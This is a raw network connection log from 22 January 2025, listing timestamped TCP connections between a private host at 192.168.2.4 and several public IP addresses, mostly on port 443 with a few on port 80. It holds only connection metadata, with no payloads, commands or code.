Jan 22, 2025 07:24:09.236985922 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:09.237010956 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:09.237099886 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:09.237214088 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:09.237221003 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:09.237328053 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:09.237385988 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:09.245368004 CET	49755	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:09.245384932 CET	443	49755	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:09.377865076 CET	443	49756	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:09.433027983 CET	49756	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.677176952 CET	49756	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.677270889 CET	443	49756	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:09.681206942 CET	443	49756	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:09.681242943 CET	443	49756	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:09.681294918 CET	49756	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.707191944 CET	49756	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.707433939 CET	443	49756	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:09.707443953 CET	49756	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.748142004 CET	49757	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:09.748234034 CET	443	49757	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:09.748528004 CET	49757	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:09.748528957 CET	49757	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:09.748652935 CET	443	49757	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:09.751349926 CET	443	49756	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:09.762361050 CET	49756	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.762428999 CET	443	49756	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:09.809109926 CET	49756	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.894192934 CET	443	49756	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:09.894364119 CET	443	49756	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:09.894445896 CET	49756	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.895705938 CET	49756	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.895747900 CET	443	49756	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:09.900247097 CET	49758	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.900299072 CET	443	49758	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:09.900372982 CET	49758	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.901076078 CET	49758	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:09.901103020 CET	443	49758	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:10.237843037 CET	443	49757	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.238240004 CET	49757	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.238306046 CET	443	49757	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.238811016 CET	443	49757	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.239367008 CET	49757	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.239458084 CET	49757	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.239485979 CET	443	49757	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.239514112 CET	443	49757	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.281903982 CET	49757	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.442553043 CET	49759	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.442642927 CET	443	49759	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.442953110 CET	49759	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.443063974 CET	49759	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.443095922 CET	443	49759	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.445218086 CET	49672	443	192.168.2.4	173.222.162.32
Jan 22, 2025 07:24:10.445257902 CET	443	49672	173.222.162.32	192.168.2.4
Jan 22, 2025 07:24:10.482605934 CET	443	49757	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.482687950 CET	443	49757	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.482841969 CET	49757	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.483773947 CET	49757	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.483839035 CET	443	49757	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.570072889 CET	443	49758	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:10.570672035 CET	49758	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:10.570740938 CET	443	49758	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:10.571861982 CET	443	49758	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:10.572818995 CET	49758	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:10.572911978 CET	443	49758	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:10.573380947 CET	49758	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:10.615369081 CET	443	49758	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:10.960892916 CET	443	49759	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.961615086 CET	49759	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.961649895 CET	443	49759	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.962445974 CET	443	49759	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.963068962 CET	49759	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.963146925 CET	49759	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:10.963162899 CET	443	49759	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:10.963177919 CET	443	49759	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.002918959 CET	443	49758	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:11.002990961 CET	443	49758	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:11.003174067 CET	49758	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:11.003225088 CET	443	49758	2.16.168.115	192.168.2.4
Jan 22, 2025 07:24:11.003254890 CET	49758	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:11.003285885 CET	49758	443	192.168.2.4	2.16.168.115
Jan 22, 2025 07:24:11.013525963 CET	49759	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.099174023 CET	443	49759	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.099359035 CET	443	49759	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.099596977 CET	49759	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.101600885 CET	49759	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.101666927 CET	443	49759	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.136748075 CET	49761	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.136794090 CET	443	49761	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.137149096 CET	49761	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.137541056 CET	49761	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.137558937 CET	443	49761	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.382143021 CET	49762	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.382232904 CET	443	49762	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.382478952 CET	49762	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.382807970 CET	49762	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.382925987 CET	443	49762	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.412172079 CET	443	49738	142.250.186.68	192.168.2.4
Jan 22, 2025 07:24:11.412322998 CET	443	49738	142.250.186.68	192.168.2.4
Jan 22, 2025 07:24:11.412412882 CET	49738	443	192.168.2.4	142.250.186.68
Jan 22, 2025 07:24:11.631145000 CET	443	49761	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.631488085 CET	49761	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.631500959 CET	443	49761	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.632276058 CET	443	49761	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.632627010 CET	49761	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.632796049 CET	443	49761	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.632864952 CET	49761	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.675345898 CET	443	49761	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.781703949 CET	443	49761	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.781778097 CET	443	49761	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.781920910 CET	49761	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.784056902 CET	49761	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.784080982 CET	443	49761	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.790041924 CET	49738	443	192.168.2.4	142.250.186.68
Jan 22, 2025 07:24:11.790119886 CET	443	49738	142.250.186.68	192.168.2.4
Jan 22, 2025 07:24:11.874567032 CET	443	49762	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.876008987 CET	49762	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.876075983 CET	443	49762	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.876746893 CET	443	49762	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.890028000 CET	49762	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.890302896 CET	443	49762	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.890466928 CET	49762	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:11.931404114 CET	443	49762	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:11.944607019 CET	49762	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:12.024178982 CET	443	49762	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:12.024369955 CET	443	49762	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:12.024534941 CET	443	49762	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:12.024590015 CET	49762	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:12.025747061 CET	49762	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:12.224392891 CET	49762	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:12.224459887 CET	443	49762	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:12.670226097 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:12.670319080 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:12.670645952 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:12.671022892 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:12.671113968 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.152326107 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.152777910 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.152844906 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.153326988 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.153830051 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.153924942 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.153960943 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.153990030 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.154010057 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.154047012 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.154053926 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.154114008 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.154324055 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.154433012 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.405061960 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.405106068 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.405133009 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.405193090 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.405268908 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.405334949 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.405335903 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.405348063 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.405407906 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.405462980 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.405479908 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.405570030 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.405653000 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.405745029 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.405745029 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.405816078 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.451586008 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.451651096 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.497252941 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.497355938 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.497383118 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.497450113 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.497510910 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.497529984 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.497620106 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.497705936 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.497790098 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.497848988 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.497849941 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.497874975 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.497908115 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.498137951 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.498205900 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.498207092 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.498567104 CET	49765	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.498666048 CET	443	49765	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.521243095 CET	49768	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.521333933 CET	443	49768	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:13.521632910 CET	49768	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.521632910 CET	49768	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:13.521770954 CET	443	49768	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:14.013766050 CET	443	49768	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:14.014170885 CET	49768	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:14.014238119 CET	443	49768	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:14.014722109 CET	443	49768	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:14.015161991 CET	49768	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:14.015161991 CET	49768	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:14.015300989 CET	443	49768	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:14.062972069 CET	49768	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:14.148442984 CET	443	49768	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:14.148606062 CET	443	49768	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:14.149559975 CET	49768	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:14.149559975 CET	49768	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:14.453493118 CET	49768	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:14.453557968 CET	443	49768	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:14.726846933 CET	80	49741	217.18.85.38	192.168.2.4
Jan 22, 2025 07:24:14.726919889 CET	49741	80	192.168.2.4	217.18.85.38
Jan 22, 2025 07:24:15.095107079 CET	49741	80	192.168.2.4	217.18.85.38
Jan 22, 2025 07:24:15.109096050 CET	80	49741	217.18.85.38	192.168.2.4
Jan 22, 2025 07:24:15.953325033 CET	80	49742	217.18.85.38	192.168.2.4
Jan 22, 2025 07:24:15.953386068 CET	49742	80	192.168.2.4	217.18.85.38
Jan 22, 2025 07:24:17.315202951 CET	49742	80	192.168.2.4	217.18.85.38
Jan 22, 2025 07:24:17.320636988 CET	80	49742	217.18.85.38	192.168.2.4
Jan 22, 2025 07:24:18.579258919 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:18.579351902 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:18.579494953 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:18.579816103 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:18.579859972 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.073683977 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.074165106 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.074230909 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.074543953 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.075196028 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.075300932 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.075309038 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.075397968 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.075460911 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.075561047 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.075613976 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.334952116 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.335174084 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.335272074 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.335417032 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.335485935 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.335577011 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.335603952 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.335637093 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.335865974 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.450731993 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.450799942 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.537216902 CET	49771	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.537272930 CET	443	49771	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:19.537354946 CET	49771	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.537731886 CET	49771	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:19.537751913 CET	443	49771	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:20.026464939 CET	443	49771	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:20.026861906 CET	49771	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:20.026894093 CET	443	49771	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:20.027571917 CET	443	49771	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:20.028007030 CET	49771	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:20.028093100 CET	443	49771	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:20.028182030 CET	49771	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:20.075340033 CET	443	49771	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:20.238267899 CET	443	49771	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:20.238437891 CET	443	49771	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:20.238651037 CET	49771	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:20.239547014 CET	49771	443	192.168.2.4	104.18.95.41
Jan 22, 2025 07:24:20.239583015 CET	443	49771	104.18.95.41	192.168.2.4
Jan 22, 2025 07:24:26.057686090 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.057727098 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.057812929 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.058346987 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.058444977 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.058543921 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.058842897 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:26.058886051 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:26.058943987 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:26.059741974 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:26.059768915 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:26.060161114 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.060199022 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.060209036 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.060247898 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.550329924 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:26.581159115 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:26.581226110 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:26.582446098 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:26.587043047 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:26.587196112 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 07:24:26.639012098 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 07:24:26.670583963 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.671921015 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.671936035 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.672763109 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.678761005 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.719482899 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.734683037 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.925496101 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.925580978 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.925826073 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.926007986 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.926191092 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.927216053 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.927234888 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.927297115 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.928210020 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.928306103 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.971343994 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:26.975548983 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:26.975611925 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.028816938 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.089895964 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.134584904 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.134603024 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.136107922 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.136193037 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.136276960 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.139750004 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.183326960 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.342706919 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.391918898 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.408489943 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.409013033 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.409086943 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.409152985 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.409260035 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.409313917 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.409332037 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.411698103 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.411787033 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.411884069 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.435794115 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.435890913 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:27.435997009 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.436276913 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:27.436304092 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:28.056529999 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:28.056921005 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:28.056956053 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:28.058423042 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:28.058501005 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:28.059875011 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:28.059962988 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:28.060167074 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:28.060182095 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:28.100277901 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:28.264988899 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:28.265337944 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 07:24:28.265549898 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 07:24:28.265625000 CET	443	49775	173.46.80.217	192.168.2.4
